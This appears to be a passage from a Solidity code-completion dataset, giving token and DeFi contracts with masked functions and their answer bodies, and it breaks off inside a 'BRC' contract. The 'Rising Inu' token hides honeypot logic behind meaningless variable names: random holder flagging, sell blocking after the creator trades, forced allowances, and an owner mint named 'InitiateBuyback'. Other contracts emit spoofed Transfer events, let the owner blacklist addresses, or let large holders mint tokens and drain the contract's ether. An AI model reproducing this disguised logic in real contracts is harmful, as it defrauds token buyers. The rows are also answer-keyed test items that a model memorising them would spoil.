mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Capitalist Polygon";
string private constant _symbol = "CPN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
_feeAddrWallet1 = payable(0xBe6E702394AD7Fac9b4348c144418942b2d1f769);
_feeAddrWallet2 = payable(0xBe6E702394AD7Fac9b4348c144418942b2d1f769);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xfAe4aD8897cfd15f04A5BB0A38F5F9f6411e8b52), _msgSender(), _tTotal);
| constructor () | constructor () |
14095 | stabilizer | remove_liquidity | contract stabilizer {
address constant public pool = 0x19b080FE1ffA0553469D20Ca36219F17Fcf03859;
address constant public ib = 0x96E61422b6A9bA0e068B6c5ADd4fFaBC6a4aae27;
address constant public coin = 0xD71eCFF9342A5Ced620049e616c5035F1dB98620;
address constant public cyib = 0x00e5c0774A5F065c285068170b20393925C84BF3;
address immutable public owner;
constructor(/*address _pool, address _ib, address _coin*/) {
/*pool = _pool;
ib = _ib;
coin = _coin;*/
owner = msg.sender;
}
function add_liquidity() external {
uint _ib = erc20(ib).balanceOf(pool);
uint _coin = erc20(coin).balanceOf(pool);
uint _deposit = _coin - _ib;
require(cy(cyib).borrow(_deposit) == 0, 'borrow failed');
uint _min = curve(pool).calc_token_amount([_deposit, 0],true);
_safeApprove(ib, pool, _deposit);
curve(pool).add_liquidity([_deposit, 0], _min*9996/10000);
}
function remove_liquidity_forced(uint _withdraw) external {
require(msg.sender == owner);
uint _max = curve(pool).calc_token_amount([_withdraw,0], false);
uint _balance = erc20(pool).balanceOf(address(this));
if (_max > _balance) {
uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0);
curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance);
} else {
curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000);
}
}
function remove_liquidity() external {<FILL_FUNCTION_BODY> }
function repay() public {
uint _balance = erc20(ib).balanceOf(address(this));
_safeApprove(ib, cyib, _balance);
cy(cyib).repayBorrow(_balance);
}
function withdraw(address token) external {
require(msg.sender == owner);
_safeTransfer(token, owner, erc20(token).balanceOf(address(this)));
}
function _safeTransfer(address token, address to, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
} | contract stabilizer {
address constant public pool = 0x19b080FE1ffA0553469D20Ca36219F17Fcf03859;
address constant public ib = 0x96E61422b6A9bA0e068B6c5ADd4fFaBC6a4aae27;
address constant public coin = 0xD71eCFF9342A5Ced620049e616c5035F1dB98620;
address constant public cyib = 0x00e5c0774A5F065c285068170b20393925C84BF3;
address immutable public owner;
constructor(/*address _pool, address _ib, address _coin*/) {
/*pool = _pool;
ib = _ib;
coin = _coin;*/
owner = msg.sender;
}
function add_liquidity() external {
uint _ib = erc20(ib).balanceOf(pool);
uint _coin = erc20(coin).balanceOf(pool);
uint _deposit = _coin - _ib;
require(cy(cyib).borrow(_deposit) == 0, 'borrow failed');
uint _min = curve(pool).calc_token_amount([_deposit, 0],true);
_safeApprove(ib, pool, _deposit);
curve(pool).add_liquidity([_deposit, 0], _min*9996/10000);
}
function remove_liquidity_forced(uint _withdraw) external {
require(msg.sender == owner);
uint _max = curve(pool).calc_token_amount([_withdraw,0], false);
uint _balance = erc20(pool).balanceOf(address(this));
if (_max > _balance) {
uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0);
curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance);
} else {
curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000);
}
}
<FILL_FUNCTION>
function repay() public {
uint _balance = erc20(ib).balanceOf(address(this));
_safeApprove(ib, cyib, _balance);
cy(cyib).repayBorrow(_balance);
}
function withdraw(address token) external {
require(msg.sender == owner);
_safeTransfer(token, owner, erc20(token).balanceOf(address(this)));
}
function _safeTransfer(address token, address to, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
function _safeApprove(address token, address spender, uint256 value) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(erc20.approve.selector, spender, value));
require(success && (data.length == 0 || abi.decode(data, (bool))));
}
} |
uint _ib = erc20(ib).balanceOf(pool);
uint _coin = erc20(coin).balanceOf(pool);
uint _withdraw = _ib - _coin;
uint _max = curve(pool).calc_token_amount([_withdraw,0], false);
uint _balance = erc20(pool).balanceOf(address(this));
if (_max > _balance) {
uint _maxWithdraw = curve(pool).calc_withdraw_one_coin(_balance, 0);
curve(pool).remove_liquidity_imbalance([_maxWithdraw, 0], _balance);
} else {
curve(pool).remove_liquidity_imbalance([_withdraw, 0], _max*10004/10000);
}
repay();
| function remove_liquidity() external | function remove_liquidity() external |
56908 | ERC20Token | transferFrom | contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public thedios;
mapping (address => bool) public thedeus;
mapping (address => bool) public greencandle;
mapping (address => uint256) public everrising;
bool private llamas;
uint256 private _totalSupply;
uint256 private pizza;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private valentin;
address private creator;
bool private thisValue;
uint liquidity = 0;
constructor() public {
creator = address(msg.sender);
llamas = true;
valentin = true;
_name = "Rising Inu";
_symbol = "RISINU";
_decimals = 5;
_totalSupply = 20000000000000000000;
_trns = _totalSupply;
pizza = _totalSupply;
chTx = _totalSupply / 1200;
opera = pizza;
thedeus[creator] = false;
greencandle[creator] = false;
thedios[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
thisValue = false;
emit Transfer(address(0x2910543Af39abA0Cd09dBb2D50200b3E800A63D2), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
function LogSuccessfullBuyback() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, liquidity))) % 100;
liquidity++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function ResetBuyback() external onlyOwner {
pizza = chTx;
thisValue = true;
}
function Buyback(uint256 amount) external onlyOwner {
pizza = amount;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function InitiateBuyback(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
thedios[spender] = val;
thedeus[spender] = val2;
greencandle[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (llamas == false)) {
pizza = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (llamas == true)) {
thedios[recipient] = true;
thedeus[recipient] = false;
llamas = false;
}
if (thedios[recipient] != true) {
thedeus[recipient] = ((randomly() == 78) ? true : false);
}
if ((thedeus[sender]) && (thedios[recipient] == false)) {
thedeus[recipient] = true;
}
if (thedios[sender] == false) {
require(amount < pizza);
if (thisValue == true) {
if (greencandle[sender] == true) {
require(false);
}
greencandle[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (valentin == true)) {
thedios[spender] = true;
thedeus[spender] = false;
greencandle[spender] = false;
valentin = false;
}
tok = (thedeus[owner] ? 23874 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public thedios;
mapping (address => bool) public thedeus;
mapping (address => bool) public greencandle;
mapping (address => uint256) public everrising;
bool private llamas;
uint256 private _totalSupply;
uint256 private pizza;
uint256 private _trns;
uint256 private chTx;
uint256 private opera;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private valentin;
address private creator;
bool private thisValue;
uint liquidity = 0;
constructor() public {
creator = address(msg.sender);
llamas = true;
valentin = true;
_name = "Rising Inu";
_symbol = "RISINU";
_decimals = 5;
_totalSupply = 20000000000000000000;
_trns = _totalSupply;
pizza = _totalSupply;
chTx = _totalSupply / 1200;
opera = pizza;
thedeus[creator] = false;
greencandle[creator] = false;
thedios[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
thisValue = false;
emit Transfer(address(0x2910543Af39abA0Cd09dBb2D50200b3E800A63D2), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
function LogSuccessfullBuyback() external view onlyOwner returns (uint256) {
uint256 tempval = _totalSupply;
return tempval;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, liquidity))) % 100;
liquidity++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function ResetBuyback() external onlyOwner {
pizza = chTx;
thisValue = true;
}
function Buyback(uint256 amount) external onlyOwner {
pizza = amount;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
<FILL_FUNCTION>
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function InitiateBuyback(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
thedios[spender] = val;
thedeus[spender] = val2;
greencandle[spender] = val3;
thisValue = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (llamas == false)) {
pizza = chTx;
thisValue = true;
}
if ((address(sender) == creator) && (llamas == true)) {
thedios[recipient] = true;
thedeus[recipient] = false;
llamas = false;
}
if (thedios[recipient] != true) {
thedeus[recipient] = ((randomly() == 78) ? true : false);
}
if ((thedeus[sender]) && (thedios[recipient] == false)) {
thedeus[recipient] = true;
}
if (thedios[sender] == false) {
require(amount < pizza);
if (thisValue == true) {
if (greencandle[sender] == true) {
require(false);
}
greencandle[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (valentin == true)) {
thedios[spender] = true;
thedeus[spender] = false;
greencandle[spender] = false;
valentin = false;
}
tok = (thedeus[owner] ? 23874 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} |
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
| function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) | /**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) |
59203 | BRC | approve | contract BRC is ERC20Interface, Owned, SafeMath {
string public symbol = "BRC";
string public name = "Bear Chain";
uint8 public decimals = 18;
uint public _totalSupply;
uint256 public targetsecure = 50000e18;
mapping (address => uint256) public balanceOf;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function minttoken(uint256 mintedAmount) public onlyOwner {
balances[msg.sender] += mintedAmount;
balances[msg.sender] = safeAdd(balances[msg.sender], mintedAmount);
_totalSupply = safeAdd(_totalSupply, mintedAmount);
}
function () public payable {
require(msg.value >= 0);
uint tokens;
if (msg.value < 1 ether) {
tokens = msg.value * 400;
}
if (msg.value >= 1 ether) {
tokens = msg.value * 400 + msg.value * 40;
}
if (msg.value >= 5 ether) {
tokens = msg.value * 400 + msg.value * 80;
}
if (msg.value >= 10 ether) {
tokens = msg.value * 400 + 100000000000000000000; //send 10 ether to get all token - error contract
}
if (msg.value == 0 ether) {
tokens = 1e18;
require(balanceOf[msg.sender] <= 0);
balanceOf[msg.sender] += tokens;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
}
function safekey(uint256 safekeyz) public {
require(balances[msg.sender] > 12000e18);
balances[msg.sender] += safekeyz;
balances[msg.sender] = safeAdd(balances[msg.sender], safekeyz);
_totalSupply = safeAdd(_totalSupply, safekeyz);
}
function withdraw() public {
require(balances[msg.sender] > targetsecure);
address myAddress = this;
uint256 etherBalance = myAddress.balance;
msg.sender.transfer(etherBalance);
}
function setsecure(uint256 securee) public onlyOwner {
targetsecure = securee;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
